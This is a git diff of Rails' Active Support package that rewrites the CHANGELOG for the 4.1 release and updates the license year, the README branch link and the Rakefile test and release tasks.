+*   Add `travel_back` to remove stubs from `travel` and `travel_to`.
+
+    *Rafael Mendonça França*
 
-*   Added `ActiveSupport::TimeWithZone#to_r` for `Time#at` compatibility.
+*   Remove the deprecation about the `#filter` method.
 
-    Before this change:
+    Filter objects should now rely on method corresponding to the filter type
+    (e.g. `#before`).
 
-        Time.zone = 'Tokyo'
-        time = Time.zone.now
-        time == Time.at(time) # => false
+    *Aaron Patterson*
+
+*   Add `ActiveSupport::JSON::Encoding.time_precision` as a way to configure the
+    precision of encoded time values:
 
-    After the change:
+        Time.utc(2000, 1, 1).as_json                      # => "2000-01-01T00:00:00.000Z"
+        ActiveSupport::JSON::Encoding.time_precision = 0
+        Time.utc(2000, 1, 1).as_json                      # => "2000-01-01T00:00:00Z"
 
-        Time.zone = 'Tokyo'
-        time = Time.zone.now
-        time == Time.at(time) # => true
+    *Parker Selbert*
 
-    *stopdropandrew*
+*   Maintain the current timezone when calling `change` during DST overlap
 
-*   `ActiveSupport::NumberHelper#number_to_human` returns the number unaltered when
-    the given units hash does not contain the needed key, e.g. when the number provided
-    is less than the largest key provided.
-    Fixes #9269.
+    Currently if a time is changed during DST overlap in the autumn then the method
+    `period_for_local` will return the DST period. However if the original time is
+    not DST then this can be surprising and is not what is generally wanted. This
+    commit changes that behavior to maintain the current period if it's in the list
+    of periods returned by `periods_for_local`.
 
-    Examples:
+    Fixes #12163.
 
-        number_to_human(123, units: {}) # => 123
-        number_to_human(123, units: { thousand: 'k' }) # => 123
+    *Andrew White*
 
-    *Michael Hoffman*
+*   Added `Hash#compact` and `Hash#compact!` for removing items with nil value
+    from hash.
 
-*   Added `beginning_of_minute` support to core ext calculations for `Time` and `DateTime`.
+    *Celestino Gomes*
 
-    *Gagan Awhad*
+*   Maintain proleptic gregorian in Time#advance
 
-*   Add `:nsec` date format.
+    `Time#advance` uses `Time#to_date` and `Date#advance` to calculate a new date.
+    The `Date` object returned by `Time#to_date` is constructed with the assumption
+    that the `Time` object represents a proleptic gregorian date, but it is
+    configured to observe the default julian calendar reform date (2299161j)
+    for purposes of calculating month, date and year:
 
-    *Jamie Gaskins*
+        Time.new(1582, 10, 4).to_date.to_s           # => "1582-09-24"
+        Time.new(1582, 10, 4).to_date.gregorian.to_s # => "1582-10-04"
 
-*   `ActiveSupport::Gzip.compress` allows two optional arguments for compression
-    level and strategy.
+    This patch ensures that when the intermediate `Date` object is advanced
+    to yield a new `Date` object, that the `Time` object for return is constructed
+    with a proleptic gregorian month, date and year.
 
-    *Beyond*
+    *Riley Lynch*
 
-*   Modify `TimeWithZone#as_json` to include 3 decimal places of sub-second accuracy
-    by default, which is optional as per the ISO8601 spec, but extremely useful. Also
-    the default behaviour of `Date#toJSON()` in recent versions of Chrome, Safari and
-    Firefox.
+*   `MemCacheStore` should only accept a `Dalli::Client`, or create one.
 
-    *James Harton*
+    *arthurnn*
 
-*   Improve `String#squish` to handle Unicode whitespace. *Antoine Lyset*
+*   Don't lazy load the `tzinfo` library as it causes problems on Windows.
 
-*   Standardise on `to_time` returning an instance of `Time` in the local system timezone
-    across `String`, `Time`, `Date`, `DateTime` and `ActiveSupport::TimeWithZone`.
+    Fixes #13553.
 
     *Andrew White*
 
-*   Extract `ActiveSupport::Testing::Performance` into https://github.com/rails/rails-perftest
-    You can add the gem to your `Gemfile` to keep using performance tests.
+*   Use `remove_possible_method` instead of `remove_method` to avoid
+    a `NameError` to be thrown on FreeBSD with the `Date` object.
 
-        gem 'rails-perftest'
+    *Rafael Mendonça França*, *Robin Dupret*
 
-    *Yves Senn*
+*   `blank?` and `present?` commit to return singletons.
 
-*   `Hash.from_xml` raises when it encounters `type="symbol"` or `type="yaml"`.
-    Use `Hash.from_trusted_xml` to parse this XML.
+    *Xavier Noria*, *Pavel Pravosud*
 
-    CVE-2013-0156
+*   Fixed Float related error in NumberHelper with large precisions.
 
-    *Jeremy Kemper*
+    Before:
 
-*   Deprecate `assert_present` and `assert_blank` in favor of
-    `assert object.blank?` and `assert object.present?`
+        ActiveSupport::NumberHelper.number_to_rounded '3.14159', precision: 50
+        #=> "3.14158999999999988261834005243144929409027099609375"
 
-    *Yves Senn*
+    After:
 
-*   Change `String#to_date` to use `Date.parse`. This gives more consistent error
-    messages and allows the use of partial dates.
+        ActiveSupport::NumberHelper.number_to_rounded '3.14159', precision: 50
+        #=> "3.14159000000000000000000000000000000000000000000000"
 
-        "gibberish".to_date => Argument Error: invalid date
-        "3rd Feb".to_date => Sun, 03 Feb 2013
+    *Kenta Murata*, *Akira Matsuda*
 
-    *Kelly Stannard*
+*   Default the new `I18n.enforce_available_locales` config to `true`, meaning
+    `I18n` will make sure that all locales passed to it must be declared in the
+    `available_locales` list.
 
-*   Remove meaningless `ActiveSupport::FrozenObjectError`, which was just an alias of `RuntimeError`.
+    To disable it add the following configuration to your application:
 
-    *Akira Matsuda*
+        config.i18n.enforce_available_locales = false
 
-*   Introduce `assert_not` to replace warty `assert !foo`.  *Jeremy Kemper*
+    This also ensures I18n configuration is properly initialized taking the new
+    option into account, to avoid their deprecations while booting up the app.
 
-*   Prevent `Callbacks#set_callback` from setting the same callback twice.
+    *Carlos Antonio da Silva*, *Yves Senn*
 
-        before_save :foo, :bar, :foo
+*   Introduce Module#concerning: a natural, low-ceremony way to separate
+    responsibilities within a class.
 
-    will at first call `bar`, then `foo`. `foo` will no more be called
-    twice.
+    Imported from https://github.com/37signals/concerning#readme
 
-    *Dmitriy Kiriyenko*
+        class Todo < ActiveRecord::Base
+          concerning :EventTracking do
+            included do
+              has_many :events
+            end
 
-*   Add `ActiveSupport::Logger#silence` that works the same as the old `Logger#silence` extension.
+            def latest_event
+              ...
+            end
 
-    *DHH*
+            private
+              def some_internal_method
+                ...
+              end
+          end
+
+          concerning :Trashable do
+            def trashed?
+              ...
+            end
 
-*   Remove surrogate unicode character encoding from `ActiveSupport::JSON.encode`
-    The encoding scheme was broken for unicode characters outside the basic multilingual plane;
-    since json is assumed to be UTF-8, and we already force the encoding to UTF-8,
-    simply pass through the un-encoded characters.
+            def latest_event
+              super some_option: true
+            end
+          end
+        end
 
-    *Brett Carter*
+    is equivalent to defining these modules inline, extending them into
+    concerns, then mixing them in to the class.
 
-*   Deprecate `Time.time_with_date_fallback`, `Time.utc_time` and `Time.local_time`.
-    These methods were added to handle the limited range of Ruby's native `Time`
-    implementation. Those limitations no longer apply so we are deprecating them in 4.0
-    and they will be removed in 4.1.
+    Inline concerns tame "junk drawer" classes that intersperse many unrelated
+    class-level declarations, public instance methods, and private
+    implementation. Coalesce related bits and give them definition.
+    These are a stepping stone toward future growth & refactoring.
 
-    *Andrew White*
+    When to move on from an inline concern:
+     * Encapsulating state? Extract collaborator object.
+     * Encompassing more public behavior or implementation? Move to separate file.
+     * Sharing behavior among classes? Move to separate file.
+
+    *Jeremy Kemper*
+
+*   Fix file descriptor being leaked on each call to `Kernel.silence_stream`.
+
+    *Mario Visic*
+
+*   Added `Date#all_week/month/quarter/year` for generating date ranges.
+
+    *Dmitriy Meremyanin*
+
+*   Add `Time.zone.yesterday` and `Time.zone.tomorrow`. These follow the
+    behavior of Ruby's `Date.yesterday` and `Date.tomorrow` but return localized
+    versions, similar to how `Time.zone.today` has returned a localized version
+    of `Date.today`.
+
+    *Colin Bartlett*
+
+*   Show valid keys when `assert_valid_keys` raises an exception, and show the
+    wrong value as it was entered.
+
+    *Gonzalo Rodríguez-Baltanás Díaz*
+
+*   Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to explicitly
+    convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
+
+    This will help to catch subtle bugs like:
+
+        def recent?(days = 3)
+          self.created_at >= days.ago
+        end
+
+    The above code would check if the model is created within the last 3 **seconds**.
+
+    In the future, `Numeric#{ago,until,since,from_now}` should be removed completely,
+    or throw some sort of errors to indicate there are no implicit conversion from
+    Numeric to AS::Duration.
+
+    *Godfrey Chan*
+
+*   Requires JSON gem version 1.7.7 or above due to a security issue in older versions.
 
-*   Deprecate `Date#to_time_in_current_zone` and add `Date#in_time_zone`. *Andrew White*
+    *Godfrey Chan*
 
-*   Add `String#in_time_zone` method to convert a string to an `ActiveSupport::TimeWithZone`. *Andrew White*
+*   Removed the old pure-Ruby JSON encoder and switched to a new encoder based on the built-in JSON
+    gem.
 
-*   Deprecate `ActiveSupport::BasicObject` in favor of `ActiveSupport::ProxyObject`.
-    This class is used for proxy classes. It avoids confusion with Ruby's `BasicObject`
-    class.
+    Support for encoding `BigDecimal` as a JSON number, as well as defining custom `encode_json`
+    methods to control the JSON output has been **removed from core**. The new encoder will always
+    encode BigDecimals as `String`s and ignore any custom `encode_json` methods.
 
-    *Francesco Rodriguez*
+    The old encoder has been extracted into the `activesupport-json_encoder` gem. Installing that
+    gem will bring back the ability to encode `BigDecimal`s as numbers as well as `encode_json`
+    support.
 
-*   Patched `Marshal#load` to work with constant autoloading. Fixes autoloading
-    with cache stores that rely on `Marshal` (`MemCacheStore` and `FileStore`).
-    Fixes #8167.
+    Setting the related configuration `ActiveSupport.encode_big_decimal_as_string` without the
+    `activesupport-json_encoder` gem installed will raise an error.
 
-    *Uriel Katz*
+    *Godfrey Chan*
 
-*   Make `Time.zone.parse` to work with JavaScript format date strings. *Andrew White*
+*   Add `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These methods change current
+    time to the given time or time difference by stubbing `Time.now` and `Date.today` to return the
+    time or date after the difference calculation, or the time or date that got passed into the
+    method respectively.
 
-*   Add `DateTime#seconds_until_end_of_day` and `Time#seconds_until_end_of_day`
-    as a complement for `seconds_from_midnight`; useful when setting expiration
-    times for caches, e.g.:
+    Example for `#travel`:
 
-        <% cache('dashboard', expires_in: Date.current.seconds_until_end_of_day) do %>
-          ...
+        Time.now # => 2013-11-09 15:34:49 -05:00
+        travel 1.day
+        Time.now # => 2013-11-10 15:34:49 -05:00
+        Date.today # => Sun, 10 Nov 2013
 
-    *Olek Janiszewski*
+    Example for `#travel_to`:
 
-*   No longer proxy `ActiveSupport::Multibyte#class`. *Steve Klabnik*
+        Time.now # => 2013-11-09 15:34:49 -05:00
+        travel_to Time.new(2004, 11, 24, 01, 04, 44)
+        Time.now # => 2004-11-24 01:04:44 -05:00
+        Date.today # => Wed, 24 Nov 2004
 
-*   Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from minitest instead. *Carlos Antonio da Silva*
+    Both of these methods also accept a block, which will return the current time back to its
+    original state at the end of the block:
 
-*   `XmlMini.with_backend` now may be safely used with threads:
+        Time.now # => 2013-11-09 15:34:49 -05:00
 
-        Thread.new do
-          XmlMini.with_backend("REXML") { rexml_power }
+        travel 1.day do
+          User.create.created_at # => Sun, 10 Nov 2013 15:34:49 EST -05:00
         end
-        Thread.new do
-          XmlMini.with_backend("LibXML") { libxml_power }
+
+        travel_to Time.new(2004, 11, 24, 01, 04, 44) do
+          User.create.created_at # => Wed, 24 Nov 2004 01:04:44 EST -05:00
         end
 
-    Each thread will use it's own backend.
+        Time.now # => 2013-11-09 15:34:49 -05:00
 
-    *Nikita Afanasenko*
+    This module is included in `ActiveSupport::TestCase` automatically.
 
-*   Dependencies no longer trigger `Kernel#autoload` in `remove_constant`. Fixes #8213. *Xavier Noria*
+    *Prem Sichanugrist*, *DHH*
 
-*   Simplify `mocha` integration and remove monkey-patches, bumping `mocha` to 0.13.0. *James Mead*
+*   Unify `cattr_*` interface: allow to pass a block to `cattr_reader`.
 
-*   `#as_json` isolates options when encoding a hash. Fixes #8182.
+    Example:
 
-    *Yves Senn*
+        class A
+          cattr_reader(:defr) { 'default_reader_value' }
+        end
+        A.defr # => 'default_reader_value'
 
-*   Deprecate `Hash#diff` in favor of minitest's #diff. *Steve Klabnik*
+    *Alexey Chernenkov*
 
-*   `Kernel#capture` can catch output from subprocesses. *Dmitry Vorotilin*
+*   Improved compatibility with the stdlib JSON gem.
 
-*   `to_xml` conversions now use builder's `tag!` method instead of explicit invocation of `method_missing`.
+    Previously, calling `::JSON.{generate,dump}` sometimes causes unexpected
+    failures such as intridea/multi_json#86.
 
-    *Nikita Afanasenko*
+    `::JSON.{generate,dump}` now bypasses the ActiveSupport JSON encoder
+    completely and yields the same result with or without ActiveSupport. This
+    means that it will **not** call `as_json` and will ignore any options that
+    the JSON gem does not natively understand. To invoke ActiveSupport's JSON
+    encoder instead, use `obj.to_json(options)` or
+    `ActiveSupport::JSON.encode(obj, options)`.
 
-*   Fixed timezone mapping of the Solomon Islands. *Steve Klabnik*
+    *Godfrey Chan*
 
-*   Make callstack attribute optional in `ActiveSupport::Deprecation::Reporting`
-    methods `warn` and `deprecation_warning`.
+*   Fix Active Support `Time#to_json` and `DateTime#to_json` to return 3 decimal
+    places worth of fractional seconds, similar to `TimeWithZone`.
 
-    *Alexey Gaziev*
+    *Ryan Glover*
 
-*   Implement `HashWithIndifferentAccess#replace` so `key?` works correctly. *David Graham*
+*   Removed circular reference protection in JSON encoder, deprecated
+    `ActiveSupport::JSON::Encoding::CircularReferenceError`.
 
-*   Handle the possible permission denied errors `atomic.rb` might trigger due to its `chown`
-    and `chmod` calls.
+    *Godfrey Chan*, *Sergio Campamá*
 
-    *Daniele Sluijters*
+*   Add `capitalize` option to `Inflector.humanize`, so strings can be humanized without being capitalized:
 
-*   `Hash#extract!` returns only those keys that present in the receiver.
+        'employee_salary'.humanize                    # => "Employee salary"
+        'employee_salary'.humanize(capitalize: false) # => "employee salary"
 
-        {a: 1, b: 2}.extract!(:a, :x) # => {:a => 1}
+    *claudiob*
 
-    *Mikhail Dieterle*
+*   Fixed `Object#as_json` and `Struct#as_json` not working properly with options. They now take
+    the same options as `Hash#as_json`:
 
-*   `Hash#extract!` returns the same subclass, that the receiver is. I.e.
-    `HashWithIndifferentAccess#extract!` returns a `HashWithIndifferentAccess` instance.
+        struct = Struct.new(:foo, :bar).new
+        struct.foo = "hello"
+        struct.bar = "world"
+        json = struct.as_json(only: [:foo]) # => {foo: "hello"}
 
-    *Mikhail Dieterle*
+    *Sergio Campamá*, *Godfrey Chan*
 
-*   Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. *Brian Durand*
+*   Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed them to JavaScript functions like `getTime()`.
 
-*   Tests tag the Rails log with the current test class and test case:
+    *DHH*
 
-        [SessionsControllerTest] [test_0002_sign in] Processing by SessionsController#create as HTML
-        [SessionsControllerTest] [test_0002_sign in] ...
+*   Calling `ActiveSupport::JSON.decode` with unsupported options now raises an error.
 
-    *Jeremy Kemper*
+    *Godfrey Chan*
 
-*   Add `logger.push_tags` and `.pop_tags` to complement `logger.tagged`:
+*   Support `:unless_exist` in `FileStore`.
 
-        class Job
-          def before
-            Rails.logger.push_tags :jobs, self.class.name
-          end
+    *Michael Grosser*
+
+*   Fix `slice!` deleting the default value of the hash.
+
+    *Antonio Santos*
+
+*   `require_dependency` accepts objects that respond to `to_path`, in
+    particular `Pathname` instances.
+
+    *Benjamin Fleischer*
+
+*   Disable the ability to iterate over Range of AS::TimeWithZone
+    due to significant performance issues.
+
+    *Bogdan Gusiev*
+
+*   Allow attaching event subscribers to ActiveSupport::Notifications namespaces
+    before they're defined. Essentially, this means instead of this:
 
-          def after
-            Rails.logger.pop_tags 2
+        class JokeSubscriber < ActiveSupport::Subscriber
+          def sql(event)
+            puts "A rabbi and a priest walk into a bar..."
           end
+
+          # This call needs to happen *after* defining the methods.
+          attach_to "active_record"
         end
 
-    *Jeremy Kemper*
+    You can do this:
 
-*   Allow delegation to the class using the `:class` keyword, replacing
-    `self.class` usage:
+        class JokeSubscriber < ActiveSupport::Subscriber
+          # This is much easier to read!
+          attach_to "active_record"
 
-        class User
-          def self.hello
-           "world"
+          def sql(event)
+            puts "A rabbi and a priest walk into a bar..."
           end
-
-          delegate :hello, to: :class
         end
 
-    *Marc-Andre Lafortune*
+    This should make it easier to read and understand these subscribers.
+
+    *Daniel Schierbeck*
 
-*   `Date.beginning_of_week` thread local and `beginning_of_week` application
-    config option added (default is Monday).
+*   Add `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day` methods.
 
-    *Innokenty Mikhailov*
+    Also added `midday`, `noon`, `at_midday`, `at_noon` and `at_middle_of_day` as aliases.
 
-*   An optional block can be passed to `config_accessor` to set its default value
+    *Anatoli Makarevich*
 
-        class User
-          include ActiveSupport::Configurable
+*   Fix ActiveSupport::Cache::FileStore#cleanup to no longer rely on missing each_key method.
 
-          config_accessor :hair_colors do
-            [:brown, :black, :blonde, :red]
-          end
-        end
+    *Murray Steele*
 
-        User.hair_colors # => [:brown, :black, :blonde, :red]
+*   Ensure that autoloaded constants in all-caps nestings are marked as
+    autoloaded.
 
-    *Larry Lv*
+    *Simon Coffey*
 
-*   `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of
-    thread safety. It will be removed without replacement in Rails 4.1.
+*   Add `String#remove(pattern)` as a short-hand for the common pattern of
+    `String#gsub(pattern, '')`.
 
-    *Steve Klabnik*
+    *DHH*
 
-*   An optional block can be passed to `Hash#deep_merge`. The block will be invoked
-    for each duplicated key and used to resolve the conflict.
+*   Adds a new deprecation behaviour that raises an exception. Throwing this
+    line into +config/environments/development.rb+
 
-    *Pranas Kiziela*
+        ActiveSupport::Deprecation.behavior = :raise
 
-*   `ActiveSupport::Deprecation` is now a class. It is possible to create an instance
-    of deprecator. Backwards compatibility has been preserved.
+    will cause the application to raise an +ActiveSupport::DeprecationException+
+    on deprecations.
 
-    You can choose which instance of the deprecator will be used.
+    Use this for aggressive deprecation cleanups.
 
-        deprecate :method_name, deprecator: deprecator_instance
+    *Xavier Noria*
 
-    You can use `ActiveSupport::Deprecation` in your gem.
+*   Remove 'cow' => 'kine' irregular inflection from default inflections.
 
-        require 'active_support/deprecation'
-        require 'active_support/core_ext/module/deprecation'
+    *Andrew White*
 
-        class MyGem
-          def self.deprecator
-            ActiveSupport::Deprecation.new('2.0', 'MyGem')
-          end
+*   Add `DateTime#to_s(:iso8601)` and `Date#to_s(:iso8601)` for consistency.
 
-          def old_method
-          end
+    *Andrew White*
 
-          def new_method
-          end
+*   Add `Time#to_s(:iso8601)` for easy conversion of times to the iso8601 format for easy Javascript date parsing.
+
+    *DHH*
+
+*   Improve `ActiveSupport::Cache::MemoryStore` cache size calculation.
+    The memory used by a key/entry pair is calculated via `#cached_size`:
 
-          deprecate old_method: :new_method, deprecator: deprecator
+        def cached_size(key, entry)
+          key.to_s.bytesize + entry.size + PER_ENTRY_OVERHEAD
         end
 
-        MyGem.new.old_method
-        # => DEPRECATION WARNING: old_method is deprecated and will be removed from MyGem 2.0 (use new_method instead). (called from <main> at file.rb:18)
+    The value of `PER_ENTRY_OVERHEAD` is 240 bytes based on an [empirical
+    estimation](https://gist.github.com/ssimeonov/6047200) for 64-bit MRI on
+    1.9.3 and 2.0.
 
-    *Piotr Niełacny & Robert Pankowecki*
+    Fixes #11512.
 
-*   `ERB::Util.html_escape` encodes single quote as `#39`. Decimal form has better support in old browsers. *Kalys Osmonov*
+    *Simeon Simeonov*
 
-*   `ActiveSupport::Callbacks`: deprecate monkey patch of object callbacks.
-    Using the `filter` method like this:
+*   Only raise `Module::DelegationError` if it's the source of the exception.
 
-        before_filter MyFilter.new
+    Fixes #10559.
 
-        class MyFilter
-          def filter(controller)
-          end
-        end
+    *Andrew White*
 
-    Is now deprecated with recommendation to use the corresponding filter type
-    (`#before`, `#after` or `#around`):
+*   Make `Time.at_with_coercion` retain the second fraction and return local time.
 
-        before_filter MyFilter.new
+    Fixes #11350.
 
-        class MyFilter
-          def before(controller)
-          end
-        end
+    *Neer Friedman*, *Andrew White*
 
-    *Bogdan Gusiev*
+*   Make `HashWithIndifferentAccess#select` always return the hash, even when
+    `Hash#select!` returns `nil`, to allow further chaining.
+
+    *Marc Schütz*
 
-*   An optional block can be passed to `HashWithIndifferentAccess#update` and `#merge`.
-    The block will be invoked for each duplicated key, and used to resolve the conflict,
-    thus replicating the behaviour of the corresponding methods on the `Hash` class.
+*   Remove deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
 
-    *Leo Cassarani*
+    *Arun Agrawal*
 
-*   Remove `j` alias for `ERB::Util#json_escape`.
-    The `j` alias is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`
-    and both modules are included in the view context that would confuse the developers.
+*   Remove deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
 
-    *Akira Matsuda*
+    *Arun Agrawal*
 
-*   Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.
+*   Remove deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.
 
-    *Guillermo Iguaran*
+    *Arun Agrawal*
 
-*   Add default values to all `ActiveSupport::NumberHelper` methods, to avoid
-    errors with empty locales or missing values.
+*   Remove deprecated `Logger` core extensions (`core_ext/logger.rb`).
 
     *Carlos Antonio da Silva*
 
-*   `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and
-    `#encode_json` methods for custom JSON string literals.
+*   Remove deprecated `Time#time_with_datetime_fallback`, `Time#utc_time`
+    and `Time#local_time` in favor of `Time#utc` and `Time#local`.
 
-    *Erich Menge*
+    *Vipul A M*
 
-*   Add `String#indent`. *fxn & Ace Suares*
+*   Remove deprecated `Hash#diff` with no replacement.
 
-*   Inflections can now be defined per locale. `singularize` and `pluralize`
-    accept locale as an extra argument.
+    If you're using it to compare hashes for the purpose of testing, please use
+    MiniTest's `assert_equal` instead.
 
-    *David Celis*
+    *Carlos Antonio da Silva*
 
-*   `Object#try` will now return `nil` instead of raise a `NoMethodError` if the
-    receiving object does not implement the method, but you can still get the
-    old behavior by using the new `Object#try!`.
+*   Remove deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
 
-    *DHH*
+    *Vipul A M*
 
-*   `ERB::Util.html_escape` now escapes single quotes. *Santiago Pastorino*
+*   Remove deprecated `Proc#bind` with no replacement.
 
-*   `Time#change` now works with time values with offsets other than UTC or the local time zone. *Andrew White*
+    *Carlos Antonio da Silva*
 
-*   `ActiveSupport::Callbacks`: deprecate usage of filter object with `#before` and `#after` methods as `around` callback. *Bogdan Gusiev*
+*   Remove deprecated `Array#uniq_by` and `Array#uniq_by!`, use native
+    `Array#uniq` and `Array#uniq!` instead.
 
-*   Add `Time#prev_quarter` and `Time#next_quarter` short-hands for `months_ago(3)` and `months_since(3)`. *SungHee Kang*
+    *Carlos Antonio da Silva*
 
-*   Remove obsolete and unused `require_association` method from dependencies. *fxn*
+*   Remove deprecated `ActiveSupport::BasicObject`, use `ActiveSupport::ProxyObject` instead.
 
-*   Add `:instance_accessor` option for `config_accessor`.
+    *Carlos Antonio da Silva*
 
-        class User
-          include ActiveSupport::Configurable
-          config_accessor :allowed_access, instance_accessor: false
-        end
+*   Remove deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.
 
-        User.new.allowed_access = true # => NoMethodError
-        User.new.allowed_access        # => NoMethodError
+    *Yves Senn*
 
-    *Francesco Rodriguez*
+*   Remove deprecated `assert_present` and `assert_blank` methods, use `assert
+    object.blank?` and `assert object.present?` instead.
 
-*   `ActionView::Helpers::NumberHelper` methods have been moved to `ActiveSupport::NumberHelper` and are now available via
-    `Numeric#to_s`.  `Numeric#to_s` now accepts the formatting options `:phone`, `:currency`, `:percentage`, `:delimited`,
-    `:rounded`, `:human`, and `:human_size`.
+    *Yves Senn*
 
-    *Andrew Mutz*
+*   Fix return value from `BacktraceCleaner#noise` when the cleaner is configured
+    with multiple silencers.
 
-*   Add `Hash#transform_keys`, `Hash#transform_keys!`, `Hash#deep_transform_keys`, and `Hash#deep_transform_keys!`. *Mark McSpadden*
+    Fixes #11030.
 
-*   Changed XML type `datetime` to `dateTime` (with upper case letter `T`). *Angelo Capilleri*
+    *Mark J. Titorenko*
 
-*   Add `:instance_accessor` option for `class_attribute`. *Alexey Vakhov*
+*   `HashWithIndifferentAccess#select` now returns a `HashWithIndifferentAccess`
+    instance instead of a `Hash` instance.
 
-*   `constantize` now looks in the ancestor chain. *Marc-Andre Lafortune & Andrew White*
+    Fixes #10723.
 
-*   Adds `Hash#deep_stringify_keys` and `Hash#deep_stringify_keys!` to convert all keys from a `Hash` instance into strings. *Lucas Húngaro*
+    *Albert Llop*
 
-*   Adds `Hash#deep_symbolize_keys` and `Hash#deep_symbolize_keys!` to convert all keys from a `Hash` instance into symbols. *Lucas Húngaro*
+*   Add `DateTime#usec` and `DateTime#nsec` so that `ActiveSupport::TimeWithZone` keeps
+    sub-second resolution when wrapping a `DateTime` value.
 
-*   `Object#try` can't call private methods. *Vasiliy Ermolovich*
+    Fixes #10855.
 
-*   `AS::Callbacks#run_callbacks` remove `key` argument. *Francesco Rodriguez*
+    *Andrew White*
 
-*   `deep_dup` works more expectedly now and duplicates also values in `Hash` instances and elements in `Array` instances. *Alexey Gaziev*
+*   Fix `ActiveSupport::Dependencies::Loadable#load_dependency` calling
+    `#blame_file!` on Exceptions that do not have the Blamable mixin
 
-*   Inflector no longer applies ice -> ouse to words like "slice", "police", etc. *Wes Morgan*
+    *Andrew Kreiling*
 
-*   Add `ActiveSupport::Deprecations.behavior = :silence` to completely ignore Rails runtime deprecations. *twinturbo*
+*   Override `Time.at` to support the passing of Time-like values when called with a single argument.
 
-*   Make `Module#delegate` stop using `send` - can no longer delegate to private methods. *dasch*
+    *Andrew White*
 
-*   `ActiveSupport::Callbacks`: deprecate `:rescuable` option. *Bogdan Gusiev*
+*   Prevent side effects to hashes inside arrays when
+    `Hash#with_indifferent_access` is called.
 
-*   Adds `Integer#ordinal` to get the ordinal suffix string of an integer. *Tim Gildea*
+    Fixes #10526.
 
-*   `ActiveSupport::Callbacks`: `:per_key` option is no longer supported. *Bogdan Gusiev*
+    *Yves Senn*
 
-*   `ActiveSupport::Callbacks#define_callbacks`: add `:skip_after_callbacks_if_terminated` option. *Bogdan Gusiev*
+*   Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
 
-*   Add `html_escape_once` to `ERB::Util`, and delegate the `escape_once` tag helper to it. *Carlos Antonio da Silva*
+    *Toshinori Kajihara*
 
-*   Deprecates the compatibility method `Module#local_constant_names`,
-    use `Module#local_constants` instead (which returns symbols). *Xavier Noria*
+*   Raise an error when multiple `included` blocks are defined for a Concern.
+    The old behavior would silently discard previously defined blocks, running
+    only the last one.
 
-*   Deletes the compatibility method `Module#method_names`,
-    use `Module#methods` from now on (which returns symbols). *Xavier Noria*
+    *Mike Dillon*
 
-*   Deletes the compatibility method `Module#instance_method_names`,
-    use `Module#instance_methods` from now on (which returns symbols). *Xavier Noria*
+*   Replace `multi_json` with `json`.
 
-*   `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger
-    from the Ruby standard library.
+    Since Rails requires Ruby 1.9 and since Ruby 1.9 includes `json` in the standard library,
+    `multi_json` is no longer necessary.
 
-    *Aaron Patterson*
+    *Erik Michaels-Ober*
+
+*   Added escaping of U+2028 and U+2029 inside the json encoder.
+    These characters are legal in JSON but break the Javascript interpreter.
+    After escaping them, the JSON is still legal and can be parsed by Javascript.
+
+    *Mario Caropreso + Viktor Kelemen + zackham*
+
+*   Fix skipping object callbacks using metadata fetched via callback chain
+    inspection methods (`_*_callbacks`)
 
-*   Unicode database updated to 6.1.0. *Norman Clarke*
+    *Sean Walbran*
 
-*   Adds `encode_big_decimal_as_string` option to force JSON serialization of `BigDecimal` as numeric instead
-    of wrapping them in strings for safety.
+*   Add a `fetch_multi` method to the cache stores. The method provides
+    an easy to use API for fetching multiple values from the cache.
 
-*   Optimize log subscribers to check log level before doing any processing. *Brian Durand*
+    Example:
+
+        # Calculating scores is expensive, so we only do it for posts
+        # that have been updated. Cache keys are automatically extracted
+        # from objects that define a #cache_key method.
+        scores = Rails.cache.fetch_multi(*posts) do |post|
+          calculate_score(post)
+        end
+
+    *Daniel Schierbeck*
 
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activesupport/CHANGELOG.md) for previous changes.
+Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
index 6aeeb71..d06d4f3 100644
--- a/activesupport/MIT-LICENSE
+++ b/activesupport/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2013 David Heinemeier Hansson
+Copyright (c) 2005-2014 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc
index 58ced93..48e310d 100644
--- a/activesupport/README.rdoc
+++ b/activesupport/README.rdoc
@@ -14,7 +14,7 @@ The latest version of Active Support can be installed with RubyGems:
 
 Source code can be downloaded as part of the Rails project on GitHub:
 
-* https://github.com/rails/rails/tree/4-0-stable/activesupport
+* https://github.com/rails/rails/tree/4-1-stable/activesupport
 
 
 == License
diff --git a/activesupport/Rakefile b/activesupport/Rakefile
index f50225a..5ba1536 100644
--- a/activesupport/Rakefile
+++ b/activesupport/Rakefile
@@ -12,9 +12,8 @@ end
 
 namespace :test do
   task :isolated do
-    ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
     Dir.glob("test/**/*_test.rb").all? do |file|
-      sh(ruby, '-Ilib:test', file)
+      sh(Gem.ruby, '-w', '-Ilib:test', file)
     end or raise "Failures"
   end
 end
@@ -25,7 +24,7 @@ Gem::PackageTask.new(spec) do |p|
   p.gem_spec = spec
 end
 
-desc "Release to gemcutter"
+desc "Release to rubygems"
 task :release => :package do
   require 'rake/gemcutter'
   Rake::Gemcutter::Tasks.new(spec).define
